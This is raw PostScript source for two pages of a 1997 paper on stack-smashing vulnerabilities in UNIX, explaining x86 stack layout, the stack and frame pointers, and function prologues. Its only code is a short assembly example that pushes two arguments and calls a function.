(a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 9.000 0 32 (, )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (ti)A (v)S 9.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 9.000 0 32 (o )W -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2807 M -0.120 0 (specific running process.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 2985 M 0.090 0 (7.1 Intel x86 Implementation under the Linux Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3190 M -0.100 0 (T)A (h)S 4.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 4.000 0 32 (k po)W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r r)D -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r \()D 0.400 0 (SP)A 4.300 0 32 -0.300 0 (\) )D 0.200 0 (i)A 4.900 0 32 0.100 0 (s )D (u)S 0.100 0 (s)A -0.400 0 (e)A 5.000 0 32 (d )W 0.200 0 (t)A 5.000 0 32 (o po)W 0.200 0 (i)A (n)S 4.800 0 32 0.200 0 (t t)D 5.000 0 32 (o )W 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 5.000 0 32 (op o)W 5.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 5.000 0 32 (k on )W 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e )D -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A 4.800 0 32 0.200 0 (l )D 1.000 0 (x)A (86)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3367 M 0.300 0 (C)A 0.400 0 (P)A 9.200 0 32 -0.200 0 (U )D -0.300 0 (f)A -0.400 0 (a)A 0.200 0 (mil)A -3.000 0 (y)A 9.000 0 32 (. )W 8.600 0 32 0.400 0 (SP )D (ho)S 0.200 0 (l)A (d)S 8.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e a)D (dd)S -0.300 0 (r)A -0.400 0 (e)A 8.900 0 32 0.100 0 (ss )D (o)S 9.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e )D 0.200 0 (l)A -0.400 0 (a)A 0.100 0 (s)A 8.800 0 32 0.200 0 (t )D (d)S -0.400 0 (a)A 0.200 0 (t)A 9.400 0 32 -0.400 0 (a e)D 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 8.800 0 32 0.200 0 (t t)D 9.000 0 32 (o b)W 9.400 0 32 -0.400 0 (e a)D (dd)S -0.400 0 (e)A 9.000 0 32 (d )W 0.200 0 (t)A 10.000 0 32 (o o)W 10.300 0 32 -0.300 0 (r )D (pu)S 0.100 0 (s)A (h)S -0.400 0 (e)A 10.000 0 32 (d on )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3544 M 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 8.000 0 32 (k. )W -0.100 0 (T)A (h)S 8.400 0 32 -0.400 0 (e )D (bo)S 0.200 0 (tt)A (o)S 7.800 0 32 0.200 0 (m )D (o)S 8.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 8.000 0 32 (k )W 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D -0.400 0 (a)A 7.800 0 32 0.200 0 (t )D 8.400 0 32 -0.400 0 (a )D -0.300 0 (f)A 0.200 0 (i)A 1.000 0 (x)A -0.400 0 (e)A 8.000 0 32 (d )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 8.000 0 32 (. )W -2.300 0 (I)A 0.200 0 (t)A 7.900 0 32 0.100 0 (s s)D 0.200 0 (i)A 0.600 0 (z)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A -0.400 0 (ca)A 0.200 0 (ll)A 11.000 0 32 -3.000 0 (y )D -0.400 0 (a)A (d)S 0.200 0 (j)A (u)S 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 8.000 0 32 (d b)W 11.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3721 M (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 7.800 0 32 0.200 0 (l )D -0.400 0 (a)A 7.800 0 32 0.200 0 (t )D -0.300 0 (r)A 8.000 0 32 (un )W 0.200 0 (tim)A -0.400 0 (e)A 8.000 0 32 (. )W -0.100 0 (T)A (h)S 8.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 8.000 0 32 (k )W -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A 7.900 0 32 0.100 0 (s )D (o)S 8.300 0 32 -0.300 0 (f )D 0.200 0 (l)A (o)S -1.000 0 (g)A 0.200 0 (i)A -0.400 0 (ca)A 7.800 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 8.000 0 32 (k )W -0.300 0 (fr)A -0.400 0 (a)A 0.200 0 (m)A -0.400 0 (e)A 7.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 7.800 0 32 0.200 0 (t )D -0.400 0 (a)A -0.300 0 (r)A 8.400 0 32 -0.400 0 (e )D (pu)S 0.100 0 (s)A (h)S -0.400 0 (e)A 9.000 0 32 (d )W -0.200 0 (w)A (h)S -0.400 0 (e)A 9.000 0 32 (n )W -0.400 0 (ca)A 0.200 0 (lli)A (n)S 10.000 0 32 -1.000 0 (g )D -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3898 M -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 15.000 0 32 (on )W -0.400 0 (a)A 15.000 0 32 (nd popp)W -0.400 0 (e)A 15.000 0 32 (d )W -0.200 0 (w)A (h)S -0.400 0 (e)A 15.000 0 32 (n )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A (n)S 0.200 0 (i)A (n)S -1.000 0 (g)A 15.000 0 32 (. )W -0.100 0 (T)A (h)S 16.400 0 32 -0.400 0 (e )D -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A 15.800 0 32 0.200 0 (l )D 1.000 0 (x)A 16.000 0 32 (86 )W 0.300 0 (C)A 0.400 0 (P)A 16.200 0 32 -0.200 0 (U )D 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A 15.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 16.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco (F8_100) cvn F8 100 xF F8_100 Ji 3746 3908 M (PUSH)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3986 3898 M 16.000 0 32 ( )W -0.400 0 (a)A 16.000 0 32 (nd )W ; : 0 0 4883 6391 rc 0 0 0 sco F8_100 Ji 4212 3908 M (POP)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4078 M 0.200 0 (i)A (n)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 15.900 0 32 0.100 0 (s )D 0.200 0 (t)A 16.000 0 32 (o p)W -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 15.800 0 32 0.200 0 (m )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 16.000 0 32 (k op)W -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 0.100 0 (s)A 16.000 0 32 (. )W 0.600 0 (W)A 0.200 0 (it)A 16.000 0 32 (h )W -0.400 0 (eac)A 16.000 0 32 (h )W 0.100 0 (s)A (u)S -0.400 0 (cce)A 0.100 0 (ss)A 0.200 0 (i)A (v)S 16.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F8_100 Ji 3297 4088 M (PUSH)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3537 4078 M 17.000 0 32 ( op)W -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A 17.000 0 32 (on, )W 0.200 0 (t)A (h)S 17.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A (k)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4258 M -1.000 0 (g)A -0.300 0 (r)A (o)S -0.200 0 (w)A 20.900 0 32 0.100 0 (s )D (do)S -0.200 0 (w)A (n)S -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A 21.000 0 32 (d )W 0.200 0 (i)A 21.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A 21.000 0 32 (, po)W 0.200 0 (i)A (n)S 0.200 0 (ti)A (n)S 22.000 0 32 -1.000 0 (g )D 0.200 0 (t)A 21.000 0 32 (o )W 0.200 0 (l)A (o)S -0.200 0 (w)A -0.400 0 (e)A 21.300 0 32 -0.300 0 (r )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 24.000 0 32 -3.000 0 (y )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 20.900 0 32 0.100 0 (ss )D -0.400 0 (a)A 20.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 21.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (i)A 0.600 0 (z)A 21.400 0 32 -0.400 0 (e )D (o)S 21.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 22.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A (k)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4435 M -0.150 0 (increases.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4612 M -2.300 0 (I)A 7.000 0 32 (n )W -0.400 0 (a)A (dd)S 0.200 0 (iti)A 7.000 0 32 (on )W 0.200 0 (t)A 7.000 0 32 (o )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 7.000 0 32 (k po)W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 7.000 0 32 (, )W -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 7.000 0 32 (h po)W 0.200 0 (i)A (n)S 0.200 0 (t)A 6.900 0 32 0.100 0 (s )D 0.200 0 (t)A 8.000 0 32 (o )W 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 8.000 0 32 (op o)W 8.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 8.000 0 32 (k, )W 8.400 0 32 -0.400 0 (a )D -0.300 0 (fr)A -0.400 0 (a)A 0.200 0 (m)A 8.400 0 32 -0.400 0 (e )D (o)S 8.300 0 32 -0.300 0 (r )D 0.200 0 (l)A (o)S -0.400 0 (ca)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4789 M (b)S -0.400 0 (a)A 0.100 0 (s)A 8.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 8.300 0 32 -0.300 0 (r \()D -0.600 0 (F)A 7.600 0 32 0.400 0 (P )D (o)S 8.300 0 32 -0.300 0 (r )D -2.100 0 (L)A -0.700 0 (B)A 9.300 0 32 -0.300 0 (\) )D 0.200 0 (i)A 8.900 0 32 0.100 0 (s )D -0.400 0 (a)A 0.200 0 (l)A 0.100 0 (s)A 9.000 0 32 (o p)W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A (n)S 8.800 0 32 0.200 0 (t )D -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 9.000 0 32 (h po)W 0.200 0 (i)A (n)S 0.200 0 (t)A 8.900 0 32 0.100 0 (s )D 0.200 0 (t)A 9.000 0 32 (o )W 9.400 0 32 -0.400 0 (a )D -0.300 0 (f)A 0.200 0 (i)A 1.000 0 (x)A -0.400 0 (e)A 9.000 0 32 (d )W 0.200 0 (l)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A 9.000 0 32 (on )W -0.200 0 (w)A 0.200 0 (it)A (h)S 0.200 0 (i)A 9.000 0 32 (n )W 9.400 0 32 -0.400 0 (a )D -0.300 0 (fr)A -0.400 0 (a)A 0.200 0 (m)A -0.400 0 (e)A 9.000 0 32 (. )W -2.300 0 (I)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4966 M (p)S -0.300 0 (r)A 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (p)S 0.200 0 (l)A -0.400 0 (e)A 5.000 0 32 (, )W 0.200 0 (l)A (o)S -0.400 0 (ca)A 4.800 0 32 0.200 0 (l )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 4.900 0 32 0.100 0 (s )D -0.400 0 (a)A 5.000 0 32 (nd p)W -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 5.900 0 32 0.100 0 (s )D -0.400 0 (c)A (ou)S 0.200 0 (l)A 6.000 0 32 (d b)W 6.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A (n)S -0.400 0 (ce)A 6.000 0 32 (d b)W 9.000 0 32 -3.000 0 (y )D -1.000 0 (g)A 0.200 0 (i)A (v)S 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (i)A 6.300 0 32 -0.300 0 (r )D (o)S -0.300 0 (ff)A 0.100 0 (s)A -0.400 0 (e)A 0.200 0 (t)A 5.900 0 32 0.100 0 (s )D -0.300 0 (fr)A (o)S 5.800 0 32 0.200 0 (m )D 0.400 0 (SP)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5143 M -0.200 0 (H)A (o)S -0.200 0 (w)A -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 2.000 0 32 (, )W -0.400 0 (a)A 1.900 0 32 0.100 0 (s )D -0.200 0 (w)A (o)S -0.300 0 (r)A (d)S 2.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 3.400 0 32 -0.400 0 (e )D (pu)S 0.100 0 (s)A (h)S -0.400 0 (e)A 3.000 0 32 (d on)W 0.200 0 (t)A 3.000 0 32 (o )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 3.000 0 32 (k )W -0.400 0 (a)A 3.000 0 32 (nd popp)W -0.400 0 (e)A 3.000 0 32 (d )W -0.300 0 (fr)A (o)S 2.800 0 32 0.200 0 (m t)D (h)S 3.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 3.000 0 32 (k, )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 3.400 0 32 -0.400 0 (e )D (o)S -0.300 0 (ff)A 0.100 0 (s)A -0.400 0 (e)A 0.200 0 (t)A 2.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5320 M -0.400 0 (a)A 10.000 0 32 (nd )W -0.400 0 (a)A -0.300 0 (r)A 10.400 0 32 -0.400 0 (e )D (h)S -0.400 0 (e)A 0.200 0 (l)A 10.000 0 32 (d )W 0.200 0 (i)A 10.000 0 32 (n )W 10.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 10.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (u)S -0.400 0 (c)A 10.000 0 32 (h )W -0.400 0 (a)A 9.900 0 32 0.100 0 (s )D -0.100 0 (E)A -0.700 0 (B)A 10.600 0 32 0.400 0 (P )D -0.300 0 (\()A (32)S -0.300 0 (-)A (b)S 10.800 0 32 0.200 0 (it )D (b)S -0.400 0 (a)A 0.100 0 (s)A 11.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r\))A 11.000 0 32 (. )W -0.200 0 (O)A 11.000 0 32 (n )W 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A 10.800 0 32 0.200 0 (l )D 1.000 0 (x)A 11.000 0 32 (86 )W 0.300 0 (C)A 0.400 0 (P)A -0.200 0 (U)A 11.000 0 32 (, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5497 M -0.400 0 (acc)A (o)S 0.200 0 (m)A (p)S 0.200 0 (li)A 0.100 0 (s)A (h)S -0.400 0 (e)A 21.000 0 32 (d )W 0.200 0 (t)A (h)S -0.300 0 (r)A (ou)S -1.000 0 (g)A 21.000 0 32 (h )W 0.200 0 (m)A (u)S 0.200 0 (lti)A (p)S 0.200 0 (l)A 21.400 0 32 -0.400 0 (e a)D 0.100 0 (ss)A -0.400 0 (e)A 0.200 0 (m)A (b)S 0.200 0 (l)A 25.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 21.900 0 32 0.100 0 (s )D 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S 0.200 0 (i)A (n)S 23.000 0 32 -1.000 0 (g )D -0.600 0 (F)A 21.600 0 32 0.400 0 (P )D -0.400 0 (a)A 22.000 0 32 (nd )W -0.100 0 (E)A -0.700 0 (B)A 0.400 0 (P)A 22.000 0 32 (. )W -0.100 0 (T)A -0.400 0 (a)A (k)S 0.200 0 (i)A (n)S 23.000 0 32 -1.000 0 (g )D 0.200 0 (i)A (n)S 0.200 0 (t)A (o)S ; LH savelevel1 restore pagesave restore (%%[ Page: 13 ]%%) = %%PageTrailer %%Page: 14 14 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (14)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (i)A (d)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A 23.000 0 32 (on ou)W 23.300 0 32 -0.300 0 (r )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 23.000 0 32 (k )W -1.000 0 (g)A -0.300 0 (r)A (o)S -0.200 0 (w)A 0.200 0 (t)A 23.000 0 32 (h, p)W -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 23.900 0 32 0.100 0 (s )D -0.200 0 (w)A 23.800 0 32 0.200 0 (ill )D (h)S -0.400 0 (a)A (v)S 24.400 0 32 -0.400 0 (e )D (po)S 0.100 0 (s)A 0.200 0 (iti)A (v)S 24.400 0 32 -0.400 0 (e )D (o)S -0.300 0 (ff)A 0.100 0 (s)A -0.400 0 (e)A 0.200 0 (t)A 23.900 0 32 0.100 0 (s )D -0.400 0 (a)A 24.000 0 32 (nd )W 0.200 0 (l)A (o)S -0.400 0 (ca)A 23.800 0 32 0.200 0 (l )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -0.120 0 (negative offsets from FP.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 858 M 0.600 0 (W)A (h)S -0.400 0 (e)A 6.000 0 32 (n )W 0.200 0 (i)A (nvok)S 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D (o)S 6.300 0 32 -0.300 0 (r )D -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (iti)A (n)S 7.000 0 32 -1.000 0 (g )D 6.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 7.000 0 32 (d )W 6.700 0 32 0.300 0 (C )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 7.000 0 32 (on, )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A (du)S -0.300 0 (r)A 7.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S 0.200 0 (l)A (o)S 8.000 0 32 -1.000 0 (g )D (o)S 7.300 0 32 -0.300 0 (r )D -0.400 0 (e)A (p)S 0.200 0 (il)A (o)S 8.000 0 32 -1.000 0 (g )D 0.200 0 (m)A (u)S 0.100 0 (s)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M (b)S 28.400 0 32 -0.400 0 (e ca)D 0.200 0 (ll)A -0.400 0 (e)A 28.000 0 32 (d, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 27.900 0 32 0.100 0 (s )D 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 27.900 0 32 0.100 0 (s s)D -0.400 0 (a)A (v)S 0.200 0 (i)A (n)S 29.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 28.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A -0.400 0 (e)A (v)S 0.200 0 (i)A (ou)S 27.900 0 32 0.100 0 (s )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 27.900 0 32 0.100 0 (s )D -0.400 0 (a)A 28.000 0 32 (nd )W -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A (n)S 29.000 0 32 -1.000 0 (g )D 0.100 0 (s)A (p)S 28.400 0 32 -0.400 0 (ace )D -0.300 0 (f)A (o)S 29.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 29.400 0 32 -0.400 0 (e )D (n)S -0.400 0 (e)A -0.200 0 (w)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1212 M (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 0.100 0 (s)A 10.800 0 32 0.200 0 (; )D -0.400 0 (a)A 11.000 0 32 (nd v)W 0.200 0 (i)A -0.400 0 (ce)A -0.300 0 (-)A (v)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 11.400 0 32 -0.400 0 (a )D -0.200 0 (w)A (h)S -0.400 0 (e)A 11.000 0 32 (n )W 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 11.000 0 32 (on )W -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (it)A 0.100 0 (s)A 11.000 0 32 (. )W -0.100 0 (T)A (h)S 11.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A -0.400 0 (e)A (v)S 0.200 0 (i)A (ou)S 10.900 0 32 0.100 0 (s )D -0.600 0 (F)A 10.600 0 32 0.400 0 (P )D 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D (pu)S 0.100 0 (s)A (h)S -0.400 0 (e)A 12.000 0 32 (d, )W 12.400 0 32 -0.400 0 (a )D (n)S -0.400 0 (e)A 12.200 0 32 -0.200 0 (w )D -0.600 0 (F)A 11.600 0 32 0.400 0 (P )D 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M -0.075 0 (created and SP operates with respect to its new local variables.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1566 M 6.000 0 32 ( )W -0.200 0 (U)A 0.100 0 (s)A 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (e)A 0.200 0 (l)A (o)S 6.200 0 32 -0.200 0 (w )D -0.400 0 (c)A (od)S 6.400 0 32 -0.400 0 (e a)D 6.900 0 32 0.100 0 (s )D -0.400 0 (a)A 7.000 0 32 (n )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 7.000 0 32 (, on)W 7.400 0 32 -0.400 0 (e ca)D 7.000 0 32 (n )W -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (i)A 7.000 0 32 (n )W 7.400 0 32 -0.400 0 (a )D (b)S -0.400 0 (e)A 0.200 0 (tt)A -0.400 0 (e)A 7.300 0 32 -0.300 0 (r )D (und)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D (o)S 7.300 0 32 -0.300 0 (f )D 0.200 0 (t)A -3.000 0 (y)A (p)S 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M -0.093 0 (stack behavior.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2160 2658 M 0.035 0 (Stack Example 7.1.a)A ; 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586 3284 N M 6 79 rr : 0 0 0 sco O ; 4412 3284 N M 6 79 rr : 0 0 0 sco O ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 612 3363 M -0.200 0 ( pushl $2)A ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 1812 3363 M -0.200 0 (; push function\(\) )A ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 2532 3363 M -0.200 0 (argument 2)A ; 586 3363 N M 6 71 rr : 0 0 0 sco O ; 4412 3363 N M 6 71 rr : 0 0 0 sco O ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 612 3434 M -0.200 0 ( pushl $1)A ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 1812 3434 M -0.200 0 (; push function\(\) argument 1)A ; 586 3434 N M 6 71 rr : 0 0 0 sco O ; 4412 3434 N M 6 71 rr : 0 0 0 sco O ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 612 3505 M -0.200 0 ( call function)A ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 1812 3505 M -0.200 0 (; call function\(\) and push IP onto the stack)A ; 586 3584 N M 6 6 rr : 0 0 0 sco O ; 586 3584 N M 6 6 rr : 0 0 0 sco O ; 592 3584 N M 3820 6 rr : 0 0 0 